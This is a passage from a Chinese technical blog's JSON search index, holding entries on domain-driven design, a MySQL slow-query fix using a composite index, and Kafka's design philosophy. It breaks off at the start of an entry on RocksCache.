\u0026ldquo;Domain-Driven Design Distilled\u0026rdquo;（《领域驱动设计精粹》） Eric Evans. \u0026ldquo;Domain-Driven Design: Tackling Complexity in the Heart of Software\u0026rdquo;（《领域驱动设计：软件核心复杂性应对之道》） ","permalink":"https://buvidk1234.github.io/posts/ddd-strategic-and-tactical-design/","summary":"\u003ch1 id=\"领域驱动设计ddd\"\u003e领域驱动设计(DDD)\u003c/h1\u003e\n\u003cp\u003e领域驱动设计（Domain-Driven Design, DDD）是一种以领域模型为核心的软件开发方法论，旨在应对复杂业务系统的设计与演进。DDD 分为\u003cstrong\u003e战略设计\u003c/strong\u003e和\u003cstrong\u003e战术设计\u003c/strong\u003e两个层面：战略设计关注系统整体的边界划分与团队协作模式，战术设计则聚焦于领域模型的具体实现模式。\u003c/p\u003e\n\u003ch2 id=\"1-战略设计\"\u003e1. 战略设计\u003c/h2\u003e\n\u003cp\u003e战略设计的目标是从整体上划分系统的\u003cstrong\u003e限界上下文（Bounded Context）\u003c/strong\u003e，并在每个上下文中发展出清晰一致的\u003cstrong\u003e通用语言（Ubiquitous Language）\u003c/strong\u003e。\u003c/p\u003e\n\u003ch3 id=\"11-领域与子域\"\u003e1.1 领域与子域\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e领域（Domain）\u003c/strong\u003e：系统所关注的问题范围，代表业务活动和规则的集合。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e子域（Subdomain）\u003c/strong\u003e：领域的组成部分，将复杂业务划分为更小、更聚焦的单元。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e子域通常分为三类：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e类型\u003c/th\u003e\n          \u003cth\u003e说明\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e核心域（Core Domain）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e业务的核心竞争力所在，需要重点投入\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e支撑域（Supporting Subdomain）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e支撑核心业务运作，但非核心竞争力\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e通用域（Generic Subdomain）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e通用功能，可采用现成方案\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e领域分析发生在\u003cstrong\u003e问题空间（Problem Space）\u003c/strong\u003e，而领域模型的设计与实现属于\u003cstrong\u003e解决方案空间（Solution Space）\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e问题空间\u003c/strong\u003e：识别业务目标和边界，关注\u0026quot;做什么\u0026quot;。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e解决方案空间\u003c/strong\u003e：将需求转化为可实现的设计和模型，关注\u0026quot;怎么做\u0026quot;。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"12-限界上下文bounded-context\"\u003e1.2 限界上下文（Bounded Context）\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e限界上下文\u003c/strong\u003e是领域模型的语义边界。在该边界内，所有的概念、对象和规则都有明确且一致的含义。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e同一个术语在不同上下文中可能代表不同含义，而在同一上下文中则保持语义一致。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e例如，\u0026ldquo;账户\u0026quot;在用户上下文中可能指用户登录凭证，而在财务上下文中则指资金账户。限界上下文的划分有助于避免模型的混淆和污染。\u003c/p\u003e\n\u003ch3 id=\"13-通用语言ubiquitous-language\"\u003e1.3 通用语言（Ubiquitous Language）\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e通用语言\u003c/strong\u003e是限界上下文内部领域专家与开发人员共享的统一语言。它通过领域模型来表达业务规则、行为和约束。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e每个限界上下文都有自己独立的通用语言\u003c/li\u003e\n\u003cli\u003e通用语言不能跨上下文混用\u003c/li\u003e\n\u003cli\u003e代码、文档、沟通都应使用通用语言\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"14-上下文映射context-mapping\"\u003e1.4 上下文映射（Context Mapping）\u003c/h3\u003e\n\u003cp\u003e当不同的限界上下文需要交互时，必须通过\u003cstrong\u003e上下文映射\u003c/strong\u003e来完成语言的\u0026quot;翻译\u0026quot;和语义对齐。上下文映射定义了上下文之间的关系、通信模式以及模型转换方式。\u003c/p\u003e\n\u003cp\u003e常见的上下文映射模式包括：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e模式\u003c/th\u003e\n          \u003cth\u003e说明\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e合作关系（Partnership）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e两个团队共同协调开发，相互依赖\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e共享内核（Shared Kernel）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e共享部分模型代码，需谨慎管理\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e客户-供应商（Customer-Supplier）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e上游供应、下游消费，下游可提需求\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e遵奉者（Conformist）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e下游完全遵从上游模型\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e防腐层（ACL）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e下游建立转换层隔离上游模型\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e开放主机服务（OHS）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e上游提供标准化协议供多方使用\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e发布语言（Published Language）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e使用标准化的数据交换格式\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"15-防腐层anti-corruption-layer\"\u003e1.5 防腐层（Anti-Corruption Layer）\u003c/h3\u003e\n\u003cp\u003e下游上下文在使用上游上下文的数据或服务时，应建立一个\u003cstrong\u003e防腐层（ACL）\u003c/strong\u003e。防腐层负责：\u003c/p\u003e","title":"DDD Strategic and Tactical Design"},{"content":"IM 消息拉取接口的 SQL 优化记录 1. 背景与问题 在开发 IM 系统的“拉取历史消息”功能时，我发现当单张消息表（messages）的数据量达到百万级，且某个热点会话（conversation_id）拥有超过 10 万条消息时，接口响应出现明显卡顿。\n环境信息：\n数据库：MySQL 8.0+ (InnoDB) 数据量：单表 100 万行，大会话 10 万条信息 场景：用户查看最新的 20 条消息（Top-N 查询） 慢查询 SQL：\nSQLSELECT * FROM messages WHERE conversation_id = \u0026#39;chat_hot\u0026#39; ORDER BY seq DESC LIMIT 20; 2. 排查过程 2.1 慢日志抓取 开启 MySQL 慢查询日志（log_output=FILE, long_query_time=0.1），捕获到该语句的执行情况：\nTEXT# Query_time: 0.148528 Lock_time: 0.000003 Rows_sent: 20 Rows_examined: 151676 异常点：为了返回 20 条数据，MySQL 实际扫描了 15 万行数据。扫描/返回比极低，说明索引效率存在严重问题。\n2.2 执行计划分析 (EXPLAIN) 执行 EXPLAIN 查看当前索引使用情况： 分析结论： 当前表只有单列索引 idx_conversation。\nMySQL 虽然能通过索引快速定位到该会话的所有消息（15万条）。 但由于索引中没有包含排序字段 seq，MySQL 必须将这 15 万条数据加载到 Server 层的内存（Sort Buffer）中进行文件排序（Filesort），如果Sort Buffer不够大还会用到磁盘。 排完序后，再截取前 20 条。这一步消耗了大量的 CPU 和内存带宽。 3. 优化方案 为了消除 Using filesort，需要利用 B+ 树索引的天然有序性。\n方案：建立联合索引 (conversation_id, seq)。\n原理： 根据 B+ 树结构，在联合索引中，数据首先按照 conversation_id 排序；在 conversation_id 相同的情况下，数据严格按照 seq 排序。 这样 MySQL 只需要定位到该会话的最后一条记录，然后利用双向链表向前扫描 20 条即可。\n操作步骤：\nSQL-- 1. 创建联合唯一索引 (seq 在会话内不重复，故使用 UNIQUE) CREATE UNIQUE INDEX idx_conv_seq ON messages (conversation_id, seq); -- 2. 删除原有的冗余单列索引 (遵循最左前缀原则，新索引已覆盖旧索引功能) DROP INDEX idx_conversation ON messages; 4. 验证与结果 4.1 性能数据对比 再次执行业务 SQL，耗时变化如下：\n优化前：~150 ms 优化后：~0.08 ms 提升幅度：约 2000 倍 4.2 深入验证 (EXPLAIN ANALYZE) 为了确认 MySQL 确实只扫描了 20 行（而不是 EXPLAIN 估算的 15 万行），使用 EXPLAIN ANALYZE 查看实际执行路径： TEXT-\u0026gt; Limit: 20 row(s) (actual time=0.046..0.079 rows=20 loops=1) -\u0026gt; Index scan on messages using idx_conv_seq (backward) (actual time=0.031..0.063 rows=20 loops=1) 验证点：\nIndex scan ... (backward)：使用了索引的反向扫描，对应 SQL 中的 ORDER BY DESC。 rows=20：实际扫描行数严格等于 Limit 行数。 actual time：底层索引查找耗时仅 0.06ms，完全消除了排序开销。 5. 总结与反思 关于 Filesort：在“查询+排序+分页”的高频场景下，Using filesort 是性能杀手。必须确保 ORDER BY 的字段包含在联合索引中。 关于 EXPLAIN：普通的 EXPLAIN rows 字段只是统计估算值，在 Limit 查询中往往不准。如果要验证优化效果，推荐使用 MySQL 8.0 的 EXPLAIN ANALYZE 查看真实扫描行数。 关于生产变更：虽然本地是直接执行 DDL，但在生产环境面对大表（如过亿行）加索引时，应使用 gh-ost 或 pt-online-schema-change 等工具，避免锁表引发故障。 索引治理：加了新索引后，务必清理被覆盖的旧索引，避免写放大和空间浪费。 ","permalink":"https://buvidk1234.github.io/posts/mysql-slow-query-filesort-optimization/","summary":"\u003ch1 id=\"im-消息拉取接口的-sql-优化记录\"\u003eIM 消息拉取接口的 SQL 优化记录\u003c/h1\u003e\n\u003ch3 id=\"1-背景与问题\"\u003e1. 背景与问题\u003c/h3\u003e\n\u003cp\u003e在开发 IM 系统的“拉取历史消息”功能时，我发现当单张消息表（\u003ccode\u003emessages\u003c/code\u003e）的数据量达到百万级，且某个热点会话（\u003ccode\u003econversation_id\u003c/code\u003e）拥有超过 10 万条消息时，接口响应出现明显卡顿。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e环境信息：\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e数据库：MySQL 8.0+ (InnoDB)\u003c/li\u003e\n\u003cli\u003e数据量：单表 100 万行，大会话 10 万条信息\u003c/li\u003e\n\u003cli\u003e场景：用户查看最新的 20 条消息（Top-N 查询）\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e慢查询 SQL：\u003c/strong\u003e\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eSQL\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003eSELECT\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eFROM\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003emessages\u003cspan style=\"color:#fff\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003eWHERE\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003econversation_id\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0a3069\"\u003e\u0026#39;chat_hot\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003eORDER\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eBY\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003eseq\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eDESC\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003eLIMIT\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch3 id=\"2-排查过程\"\u003e2. 排查过程\u003c/h3\u003e\n\u003ch4 id=\"21-慢日志抓取\"\u003e2.1 慢日志抓取\u003c/h4\u003e\n\u003cp\u003e开启 MySQL 慢查询日志（\u003ccode\u003elog_output=FILE\u003c/code\u003e, \u003ccode\u003elong_query_time=0.1\u003c/code\u003e），捕获到该语句的执行情况：\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Query_time: 0.148528  Lock_time: 0.000003  Rows_sent: 20  Rows_examined: 151676\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003cp\u003e\u003cstrong\u003e异常点\u003c/strong\u003e：为了返回 20 条数据，MySQL 实际扫描了 15 万行数据。扫描/返回比极低，说明索引效率存在严重问题。\u003c/p\u003e\n\u003ch4 id=\"22-执行计划分析-explain\"\u003e2.2 执行计划分析 (EXPLAIN)\u003c/h4\u003e\n\u003cp\u003e执行 \u003ccode\u003eEXPLAIN\u003c/code\u003e 查看当前索引使用情况：\n\u003cimg alt=\"sql_optimization_before_explain\" loading=\"lazy\" src=\"/images/sql_optimization_before_explain.png\"\u003e\u003c/p\u003e","title":"Mysql Slow Query Filesort Optimization"},{"content":"深入理解 Apache Kafka 设计哲学 前言 Kafka 是一个分布式流处理平台，但它更像是 分布式提交日志 而非传统的消息队列。这种设计哲学贯穿了 Kafka 的每一个核心组件。本文将深入剖析 Kafka 的设计精髓。\n一、存储层设计：为磁盘而生 1.1 日志结构存储 Kafka 采用 只追加写（Append-Only） 的日志结构，这带来了几个关键优势：\n特性 传统数据库 (B-Tree) Kafka (Log) 写入复杂度 O(log N) O(1) 读取复杂度 O(log N) O(1) 磁盘访问模式 随机 I/O 顺序 I/O 适合场景 随机查询 流式处理 1.2 顺序 I/O 的威力 对于磁盘来说，O(log N) 并不等同于\u0026quot;接近常数时间\u0026quot;。每次磁盘寻道约需 10ms，且无法并行执行。即使少量随机访问也会导致性能急剧下降。\nPLAIN顺序写磁盘: ~600MB/s 随机写磁盘: ~100KB/s 差距: 约 6000 倍! 1.3 拥抱操作系统 Page Cache Kafka 不在 JVM 堆内存中维护缓存，而是将数据直接写入操作系统的 Page Cache：\ngraph TD subgraph JVM [JVM 进程] Logic[业务逻辑\n不缓存数据] end subgraph Kernel [操作系统内核空间] PC(Page Cache\n利用空闲内存 / 自动管理) FS[(磁盘文件系统)] end Logic --\u003e|直接写入| PC PC -.-\u003e|异步刷盘 / 后写技术| FS style JVM fill:#f9f9f9,stroke:#333,stroke-width:2px style Kernel fill:#e1f5fe,stroke:#0277bd,stroke-width:2px style PC fill:#b3e5fc,stroke:#0277bd这样做的好处：\n避免 JVM GC 问题，堆内存大时 GC 暂停严重 重启后缓存依然有效（Page Cache 归操作系统管理） 充分利用操作系统的预读（Read-ahead）和后写（Write-behind）优化 二、网络传输优化：零拷贝 2.1 传统数据传输路径 graph LR Disk[(磁盘)] --\u003e|1. DMA拷贝| KernelBuf[内核缓冲区] KernelBuf --\u003e|2. CPU拷贝| UserBuf[用户空间缓冲区] UserBuf --\u003e|3. CPU拷贝| SocketBuf[Socket缓冲区] SocketBuf --\u003e|4. DMA拷贝| NIC[网卡] style Disk fill:#eceff1,stroke:#455a64 style NIC fill:#eceff1,stroke:#455a64 style UserBuf fill:#fff9c4,stroke:#fbc02d涉及 4 次数据拷贝 + 2 次系统调用。\n2.2 Kafka 的 Sendfile 零拷贝 graph LR Disk[(磁盘)] --\u003e|DMA拷贝| PC(Page Cache) PC --\u003e|Sendfile / DMA拷贝| NIC[网卡] subgraph Bypass [完全绕过用户空间] PC end style PC fill:#b3e5fc,stroke:#0277bd,stroke-width:2px style Disk fill:#eceff1,stroke:#455a64 style NIC fill:#eceff1,stroke:#455a64只有 1-2 次拷贝，CPU 几乎不参与数据搬运。\n关键洞察：当消费者跟上生产速度时（常见场景），数据直接从 Page Cache 发送到网络，完全不触及磁盘。\n⚠️ 特别注意：零拷贝的限制 零拷贝虽然高效，但在开启 SSL/TLS 加密时会失效。 原因：操作系统内核无法处理 TLS 加密算法。数据必须先从 Page Cache 拷贝到用户空间的 JVM 堆内存，由 CPU 进行加密计算后，再拷贝回内核 socket 缓冲区发送。 路径变为： Page Cache → 用户空间(加密) → Socket 缓冲区 → 网卡 因此，在对性能极度敏感且内网安全的场景下，通常建议在 Kafka 层面通过明文传输，而在负载均衡层（如 LVS/Nginx）或硬件防火墙层处理 SSL。\n2.3 端到端批量压缩 Kafka 支持将一批消息分组压缩后传输：\ngraph LR subgraph Single [\"单条压缩 (效率低)\"] M1[Message 1] --\u003e C1(Compress) --\u003e P1[Header + Data1] M2[Message 2] --\u003e C2(Compress) --\u003e P2[Header + Data2] end subgraph Batch [\"批量压缩 (效率高)\"] MB[Message 1, Message 2...] --\u003e CB(Compress) --\u003e PB[Header + Data1 + Data2...] end P2 ~~~ MB style Single fill:#ffebee,stroke:#ef5350,stroke-dasharray: 5 5 style Batch fill:#e8f5e9,stroke:#66bb6a批量压缩能消除消息间的重复字段（如相同的 schema、相似的 key 前缀等），压缩比大幅提升。\n三、生产者设计 3.1 分区策略 策略 适用场景 轮询（Round-Robin） 均匀分布，无序 Key 哈希 相同 Key 保持顺序 自定义分区器 业务特殊需求 3.2 批量异步发送 graph LR subgraph Input [消息流] M1[消息1] M2[消息2] M3[消息3] end subgraph Buffer [累积器 RecordBatch] Batch[按分区聚合\nbatch.size] end subgraph Network [网络层] Send[网络发送\n批量请求] end Input --\u003e Batch Batch --\u003e|满足 linger.ms 或 batch.size| Send关键配置：\nbatch.size：批次大小阈值 linger.ms：最大等待时间 两者任一满足即触发发送 四、消费者设计 4.1 拉模式（Pull-based） 推模式 拉模式 Broker 控制速率 消费者自主控制 容易压垮慢消费者 适应不同处理能力 实时性好 通过长轮询实现低延迟 Kafka 采用拉模式 + 长轮询，兼顾背压控制和低延迟。\n4.2 消费位置管理 传统方案的问题：\ngraph TD Broker[Broker 维护状态] Broker --\u003e S1[待发送] Broker --\u003e S2[已发送待确认] Broker --\u003e S3[已确认] S2 -.-\u003e|确认丢失?| S2_Fail[状态不一致/重发]Kafka 的简化方案：\ngraph LR CG[消费者组 Consumer Group] Topic[__consumer_offsets 主题] CG --\u003e|Commit Offset| Topic note[每个 Partition 只记录\n一个整数 Offset] Topic -.- note4.3 静态成员身份 通过设置 group.instance.id，消费者重启后可以：\n避免触发 Rebalance 继续消费原来负责的分区 减少\u0026quot;分区漂移\u0026quot;带来的重复处理 五、消息语义保证 5.1 三种语义 语义 说明 实现复杂度 At-most-once 可能丢失，绝不重复 低 At-least-once 绝不丢失，可能重复 中 Exactly-once 不丢不重 高 5.2 Exactly-Once 实现 方案一：事务（Transaction）\nJAVAproducer.beginTransaction(); producer.send(record1); producer.send(record2); producer.commitTransaction(); // 原子提交 方案二：At-Least-Once + 幂等消费\nJAVA// 生产者开启幂等 enable.idempotence = true // 消费端去重 if (!processedIds.contains(message.id)) { process(message); processedIds.add(message.id); } 事务开销较大，实际生产中常用\u0026quot;幂等消费\u0026quot;作为轻量替代。\n六、复制与容错：ISR 机制 6.1 ISR 动态管理 graph TD subgraph Partition [Partition 副本集] L[Leader] ISR1[ISR 副本1\n同步中] ISR2[ISR 副本2\n同步中] OSR[普通副本3\n落后太多 / 已踢出] end L --- ISR1 L --- ISR2 L -.-|踢出 ISR| OSR style L fill:#fff3e0,stroke:#ff9800,stroke-width:2px style ISR1 fill:#e8f5e9,stroke:#4caf50 style ISR2 fill:#e8f5e9,stroke:#4caf50 style OSR fill:#ffebee,stroke:#ef5350,stroke-dasharray: 5 5 落后太多 → 踢出 ISR → 避免拖慢整体 追上进度 → 重新加入 ISR Leader 挂掉 → 从 ISR 中选新 Leader 6.2 与 Raft 对比 特性 Kafka ISR Raft 选主机制 中心控制器 分布式投票 最小副本数 f+1 容忍 f 故障 2f+1 容忍 f 故障 吞吐量 更高 相对较低 CAP 倾向 AP (可配置) CP 6.3 架构演进：弃用 ZooKeeper (KRaft) 在 Kafka 2.8 版本之前，Kafka 严重依赖 ZooKeeper 进行元数据管理和 Controller 选举。新版的KRaft (Kafka Raft) 模式彻底移除了 ZooKeeper，Broker 内部通过 Raft 算法选主，无需外部依赖。\ngraph TD subgraph Old [旧架构: ZK依赖] ZK[ZooKeeper 集群] B_Old[Broker 集群] ZK \u003c--\u003e|心跳 / 元数据| B_Old end subgraph New [新架构: KRaft] subgraph Cluster [Kafka Cluster] Controller[Broker\nController] Follower[Broker\nFollower] end Controller \u003c--\u003e|内部 Raft 通道\n管理元数据日志| Follower end style Old fill:#f5f5f5,stroke:#9e9e9e style New fill:#e3f2fd,stroke:#2196f3 七、日志压缩（Log Compaction） 类似 LSM-Tree 的 Compaction，Kafka 可对状态变更流进行合并，只保留每个 Key 的最新值：\ngraph TB %% 1. 原始日志区域 subgraph Original [原始日志 - Write Ahead Log] direction LR O1(K1:V1) --\u003e O2(K2:V2) --\u003e O3(K1:V3) --\u003e O4(K3:V4) --\u003e O5(K1:V5) end %% 2. 压缩后区域 subgraph Compacted [只留最新 Key] direction LR C1(K2:V2) --\u003e C2(K3:V4) --\u003e C3(K1:V5) end %% 3. 连接两个区域 Original ===\u003e|Cleaner 线程扫描后台 - Log Compaction| Compacted %% 4. 样式定义 %% 整体色调：紫色 style Original fill:#f3e5f5,stroke:#8e24aa style Compacted fill:#e1bee7,stroke:#8e24aa %% 被清理的节点：灰色 + 虚线边框 style O1 fill:#e0e0e0,stroke:#9e9e9e,stroke-dasharray: 5 5,color:#9e9e9e style O3 fill:#e0e0e0,stroke:#9e9e9e,stroke-dasharray: 5 5,color:#9e9e9e适用场景：CDC（Change Data Capture）、KV 状态存储\n八、配额管理 Kafka 支持对生产者/消费者设置吞吐量、CPU等上限：\nPROPERTIES# 限制用户 user1 的生产速率为 10MB/s quota.producer.default=10485760 目的：避免坏邻居效应—— 防止某个租户耗尽整个集群资源。\n总结 Kafka 的设计哲学可以归纳为：\n拥抱顺序 I/O —— 日志结构 + 追加写 利用操作系统 —— Page Cache + Sendfile 批量化一切 —— 压缩、发送、拉取 简化状态 —— Offset 而非消息状态 动态容错 —— ISR 弹性伸缩 这些设计使 Kafka 在高吞吐、低延迟和持久性之间取得了绝佳平衡，成为大数据领域的基础设施。\n参考资料 Kafka 官方文档 - Design ","permalink":"https://buvidk1234.github.io/posts/kafka-design-philosophy/","summary":"\u003ch1 id=\"深入理解-apache-kafka-设计哲学\"\u003e深入理解 Apache Kafka 设计哲学\u003c/h1\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003eKafka 是一个分布式流处理平台，但它更像是 \u003cstrong\u003e分布式提交日志\u003c/strong\u003e 而非传统的消息队列。这种设计哲学贯穿了 Kafka 的每一个核心组件。本文将深入剖析 Kafka 的设计精髓。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"一存储层设计为磁盘而生\"\u003e一、存储层设计：为磁盘而生\u003c/h2\u003e\n\u003ch3 id=\"11-日志结构存储\"\u003e1.1 日志结构存储\u003c/h3\u003e\n\u003cp\u003eKafka 采用 \u003cstrong\u003e只追加写（Append-Only）\u003c/strong\u003e 的日志结构，这带来了几个关键优势：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e特性\u003c/th\u003e\n          \u003cth\u003e传统数据库 (B-Tree)\u003c/th\u003e\n          \u003cth\u003eKafka (Log)\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e写入复杂度\u003c/td\u003e\n          \u003ctd\u003eO(log N)\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eO(1)\u003c/strong\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e读取复杂度\u003c/td\u003e\n          \u003ctd\u003eO(log N)\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eO(1)\u003c/strong\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e磁盘访问模式\u003c/td\u003e\n          \u003ctd\u003e随机 I/O\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e顺序 I/O\u003c/strong\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e适合场景\u003c/td\u003e\n          \u003ctd\u003e随机查询\u003c/td\u003e\n          \u003ctd\u003e流式处理\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"12-顺序-io-的威力\"\u003e1.2 顺序 I/O 的威力\u003c/h3\u003e\n\u003cp\u003e对于磁盘来说，O(log N) 并不等同于\u0026quot;接近常数时间\u0026quot;。每次磁盘寻道约需 \u003cstrong\u003e10ms\u003c/strong\u003e，且无法并行执行。即使少量随机访问也会导致性能急剧下降。\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003ePLAIN\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-plain\" data-lang=\"plain\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e顺序写磁盘: ~600MB/s\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e随机写磁盘: ~100KB/s  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e差距: 约 6000 倍!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch3 id=\"13-拥抱操作系统-page-cache\"\u003e1.3 拥抱操作系统 Page Cache\u003c/h3\u003e\n\u003cp\u003eKafka 不在 JVM 堆内存中维护缓存，而是将数据直接写入操作系统的 Page Cache：\u003c/p\u003e\n\u003cdiv class=\"mermaid\"\u003egraph TD\n    subgraph JVM [JVM 进程]\n        Logic[业务逻辑\u003cbr\u003e不缓存数据]\n    end\n\n    subgraph Kernel [操作系统内核空间]\n        PC(Page Cache\u003cbr\u003e利用空闲内存 / 自动管理)\n        FS[(磁盘文件系统)]\n    end\n\n    Logic --\u003e|直接写入| PC\n    PC -.-\u003e|异步刷盘 / 后写技术| FS\n\n    style JVM fill:#f9f9f9,stroke:#333,stroke-width:2px\n    style Kernel fill:#e1f5fe,stroke:#0277bd,stroke-width:2px\n    style PC fill:#b3e5fc,stroke:#0277bd\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e这样做的好处：\u003c/strong\u003e\u003c/p\u003e","title":"Kafka Design Philosophy"},{"content":"深入解析 RocksCache：如何优雅地解决缓存与数据库一致性问题 本文深入剖析 RocksCache 的设计思想与核心实现，带你理解这个首创的缓存一致性解决方案。\n前言 